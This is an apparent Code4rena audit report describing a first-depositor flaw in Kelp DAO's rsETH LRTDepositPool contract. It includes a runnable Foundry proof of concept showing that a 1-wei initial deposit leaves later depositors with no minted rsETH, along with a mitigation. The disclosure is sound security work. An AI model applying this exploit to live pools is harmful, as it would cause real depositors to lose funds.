Kelp DAO | rsETH - trachev's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L19-L216

Vulnerability details

Vulnerability Details

When a user deposits in the LRTDepositPool.sol contract before any other user and before any RSETH has ever been minted the price of RSETH is set to 1 ether.

if (rsEthSupply == 0) {
    return 1 ether;
}

After a deposit has been made, the price of RSETH is calculated in the following way: totalETHInPool / rsEthSupply For simplicity of the explanation, the RETH token will be used with a price of 1 ether as used in the LRTOracleMock.sol mock contract. In that case, if the first depositor deposits 10 ether of RETH he will always receive 10 ether of RSETH as the price is 1 ether. After that, the second depositor who, let's say, also deposits 10 ether of RSETH will in contrast receive only 5 ether of RSETH, due to the following calculation in the getRsETHAmountToMint function:

rsethAmountToMint =
   (amount * lrtOracle.getAssetPrice(asset)) /
   lrtOracle.getRSETHPrice();

Essentially the amount to be minted will be equal to: (10e18 * 1e18) / (20e18 * 1e18 / 10e18) In other words, firstly the deposited 10 ether of RSETH is multiplied by the price. The result of that is divided by the total amount of RETH in the contract (20e18) multiplied by its price (1e18) divided by the current supply of RSETH (10e18). The total amount of RETH is 20e18 and not 10e18, because RETH is transferred from the depositor before the minting of RSETH, which is problematic, causing the amount of RSETH to be minted to be only 5 ether. Every other user who also deposits 10 ether of RETH will also get only 5 ether of RSETH, if they deposit 5 ether RETH, they will get 2.5 ether RSETH, and if they deposit 20 ether of RETH - 7.5 ether of RSETH. That said, the amount, deposited by the first depositor, determines how much every other user will consequently receive. Therefore, if the first depositor only deposits 1 WEI every other deposit following that will not receive any RSETH despite their funds being transferred to the pool, due to the following calculations: 1/ the first depositor deposits 1 wei of RETH and receives 1 wei of RSETH: 1 * 1e18 / 1e18 2/ the second depositor deposits 10 ether of RETH and receives 0 wei: (10e18 * 1e18) / ((10e18+1) * 1e18 / 1)

Impact

The first depositor decreases every other user's received RSETH or completely prevents them from receiving RSETH.

Proof of Concept

The following coded POC demonstrates the issue. As deposit tests, written by the protocol team, use a mock LRTOracle contract (which does not act the way the real contract would) I have implemented a LRTOracle contract identical to the one meant to be used in production, except that it returns 1e18 for an asset's price instead of calling an external oracle. Create a ExploitFirstDepositor.t.sol contract in the test folder of the project and paste the following code in it, after that run in the terminal forge test --match-test "test_GetDoubleRSETH" -vvv for the first exploit and forge test --match-test "test_DOSPool" -vvv for the second exploit.

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import {BaseTest} from "./BaseTest.t.sol";
import {Test, console} from "forge-std/Test.sol";
import {LRTDepositPool} from "src/LRTDepositPool.sol";
import {RSETHTest, ILRTConfig, UtilLib, LRTConstants} from "./RSETHTest.t.sol";
import {ILRTDepositPool} from "src/interfaces/ILRTDepositPool.sol";

import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

import {RSETH} from "src/RSETH.sol";

contract LRTOracleExploit {
    RSETH rseth;
    ILRTConfig lrtConfig;
    address reth;
    LRTDepositPool lrtDepositPool;

    constructor(
        RSETH _rseth,
        ILRTConfig _lrtConfig,
        address _reth,
        LRTDepositPool _lrtDepositPool
    ) {
        rseth = _rseth;
        lrtConfig = _lrtConfig;
        reth = _reth;
        lrtDepositPool = _lrtDepositPool;
    }

    function getAssetPrice(address) external pure returns (uint256) {
        return 1e18;
    }

    //@audit same as orginal getRSETHPRice but returns 1e18 for RETH price instead of using an oracle
    function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = address(rseth);
        uint256 rsEthSupply = RSETH(rsETHTokenAddress).totalSupply();
        if (rsEthSupply == 0) {
            return 1 ether;
        }
        uint256 totalETHInPool;

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount; ) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = 1e18;

            uint256 totalAssetAmt = ILRTDepositPool(address(lrtDepositPool))
                .getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }
        return totalETHInPool / rsEthSupply;
    }
}

contract LRTDepositPoolTestExploits is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
                address(contractImpl),
                address(proxyAdmin),
                ""
            );

        lrtDepositPool = LRTDepositPool(address(contractProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));
        // add oracle to LRT config
        lrtConfig.setContract(
            LRTConstants.LRT_ORACLE,
            address(
                new LRTOracleExploit(
                    rseth,
                    lrtConfig,
                    address(rETH),
                    lrtDepositPool
                )
            )
        );

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        vm.stopPrank();
    }
}

contract Exploits is LRTDepositPoolTestExploits {
    address public rETHAddress;

    function setUp() public override {
        super.setUp();

        // initialize LRTDepositPool
        lrtDepositPool.initialize(address(lrtConfig));

        rETHAddress = address(rETH);

        // add manager role within LRTConfig
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();
    }

    function test_GetDoubleRSETH() external {
        vm.startPrank(bob);

        rETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(rETHAddress, 10 ether);

        vm.stopPrank();

        vm.startPrank(alice);

        rETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(rETHAddress, 10 ether);

        // alice balance of rsETH after deposit
        uint256 aliceBalanceAfter = rseth.balanceOf(address(alice));
        vm.stopPrank();
        vm.startPrank(carol);

        rETH.approve(address(lrtDepositPool), 30 ether);
        lrtDepositPool.depositAsset(rETHAddress, 30 ether);

        // alice balance of rsETH after deposit
        uint256 carolBalanceAfter = rseth.balanceOf(address(carol));
        vm.stopPrank();
        uint256 bobBalanceAfter = rseth.balanceOf(address(bob));

        console.log("BOB RSETH BALANCE AFTER:   ", bobBalanceAfter);
        console.log("ALICE RSETH BALANCE AFTER: ", aliceBalanceAfter);
        console.log("CAROL RSETH BALANCE AFTER: ", carolBalanceAfter);
    }

    function test_DOSPool() external {
        vm.startPrank(bob);

        rETH.approve(address(lrtDepositPool), 1 wei);
        lrtDepositPool.depositAsset(rETHAddress, 1 wei);

        vm.stopPrank();

        vm.startPrank(alice);

        rETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(rETHAddress, 10 ether);

        // alice balance of rsETH after deposit
        uint256 aliceBalanceAfter = rseth.balanceOf(address(alice));
        vm.stopPrank();
        vm.startPrank(carol);

        rETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(rETHAddress, 10 ether);

        // alice balance of rsETH after deposit
        uint256 carolBalanceAfter = rseth.balanceOf(address(carol));
        vm.stopPrank();
        uint256 bobBalanceAfter = rseth.balanceOf(address(bob));

        console.log("BOB RSETH BALANCE AFTER:   ", bobBalanceAfter);
        console.log("ALICE RSETH BALANCE AFTER: ", aliceBalanceAfter);
        console.log("CAROL RSETH BALANCE AFTER: ", carolBalanceAfter);
    }
}

Tools Used

Manual review.

Recommended Mitigation Steps

Assuming that the issue is rooted in the fact that asset tokens are transferred from the user before calculating the RSETH amount to be minted, consider minting RSETH before transferring assets from the depositor.

Assessed type

DoS